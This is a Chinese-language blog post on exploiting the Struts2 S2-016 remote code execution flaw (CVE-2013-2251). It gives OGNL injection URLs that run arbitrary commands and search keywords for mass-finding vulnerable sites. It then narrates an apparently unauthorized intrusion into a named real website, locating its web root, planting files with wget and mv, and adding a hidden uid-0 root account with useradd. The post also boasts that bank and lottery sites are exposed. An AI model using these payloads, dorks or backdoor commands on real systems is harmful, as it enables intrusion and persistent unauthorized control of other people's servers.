Struts2远程执行命令高危漏洞利用方法

Struts2远程执行命令高危漏洞利用方法

2017-03-09 / 0 评论 / 2,063 阅读 / 正在检测是否收录...

Struts2远程执行命令高危漏洞利用方法

2013-07-21|6762阅||

摘要: Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。
描述
影响版

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。

描述

影响版本 Struts 2.0.0 - Struts 2.3.15

报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CVE编号 CVE-2013-2251

漏洞证明

参数会以OGNL表达式执行

http://host/struts2-blank/example/X.action?action:%25{3*4}http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{’command’,’goes’,’here’})).start()}http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{’command’,’goes’,’here’})).start()}http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{’command’,’goes’,’here’})).start()}

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit
navigation state changes by prefixing parameters with “action:” or
“redirect:”, followed by a desired navigational target expression. This
mechanism was intended to help with attaching navigational information
to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”,
“redirect:” or “redirectAction:” is not properly sanitized. Since said
information will be evaluated as OGNL expression against the value
stack, this introduces the possibility to inject server side code.

以下仅供教学研究之用,严禁非法用途!

执行任意命令EXP,感谢X提供:

Struts2再爆远程代码执行漏洞(S2-016)

爆网站路径EXP,感谢h4ck0r提供:

Struts2再爆远程代码执行漏洞(S2-016)  

python执行任意命令,感谢h4ck0r提供

Struts2再爆远程代码执行漏洞(S2-016) 

GETSHELL EXP,感谢coffee提供:

Struts2再爆远程代码执行漏洞(S2-016) 

然后用以下代码写shell:

Struts2再爆远程代码执行漏洞(S2-016)

上前目录生成1.jsp




使用Struts2远程命令执行漏洞利用工具:


这东西一开始下到还不会利用
这篇文章写的不错但是关键字不咋好用比较少
然后就开始了批量拿了并且自己和朋友也想了一些关键字
Inurl:index.action
Inurl:商城.achtion (商城比较多)
Inurl:index.achtion 标题:apache struts2 
Inurl:action?id=
没有NB的关键字 只有爱想的脑袋
关键字不唯一可能你多想想就能想出更牛的关键字
就开始利用吧
 

Struts2这个漏洞很多大站都存在 比如这个香港电视台的 
不过这个执行命令卡 我就换个搞过的吧 那样方便演示

 

一小站 http://www.laipin.com/
这个漏洞一般都是阿帕奇 linux的
所以我们直接读阿帕奇的配置文件我们可以直接用find 命令


这样就会出现 那我们随便读个看看

 

/home/httpd

读了后发现这2都是错误的也就是都错误的
不过我们有强大的 find的命令 
找这个找了一会   不过突然想到了 robots.txt

于是我

然后利用cat 一个一个去读 不过运气好
/usr/local/bakresin4/webapps/laipin/robots.txt
/usr/local/webapps/laipin/robots.txt
/usr/local/resin4/webapps/laipin/robots.txt
/usr/local/resin3/webapps/laipin/robots.txt
/usr/local/bak-resin4-bak/webapps/laipin/robots.txt
/var/laipin/robots.txt
/home/ftpfile/laipin/robots.txt
/home/ftpfile/lp/robots.txt
/home/httpd/laipin/robots.txt
/home/httpd/laipin2/robots.txt

第2个就是正确的  不过我全部读完了 确定就一个和网站的文件是匹配的

既然找到了根目录
就想 写文件呀
我用了 
Echo bingdao test > /usr/local/webapps/laipin/1.txt (不成功)
Vi /usr/local/webapps/laipin/1.txt   (不成功)
Touch /usr/local/webapps/laipin/1.txt   (成功 但无法写入内容)
Mkdir /usr/local/webapps/laipin/123/  (成功 但无内容)
我后来仔细的想了想 也证实了 是由于cd命令执行不成功
但不明确是 不成功 还是无效果(好吧 没什么区别)
不过突然记起来了 wooyun一牛提交过某个远程代码执行漏洞
看了一下他的细节 发现是用的 wget 下载命令进行添加文件
 

下载成功后 发现不在根目录  
于是 mv 移动到根目录
 

成功 不过发现了一件蛋疼的事  不解析

useradd -u 0  -o  -g root  -G root -d /home/bingdao bingdao -p bingdao

用户也能添加成功
目测工具的危害性,而且目前国内好多银行网站及涉密的网站,彩票平台都存在漏洞
这篇文章也就到这了 
全文没什么亮点 只是一种利用记录。。
这东西 有时运气好 渗透时就能秒杀... 平常也可以练下linux命令什么的还是不错

0

评论 (0)

取消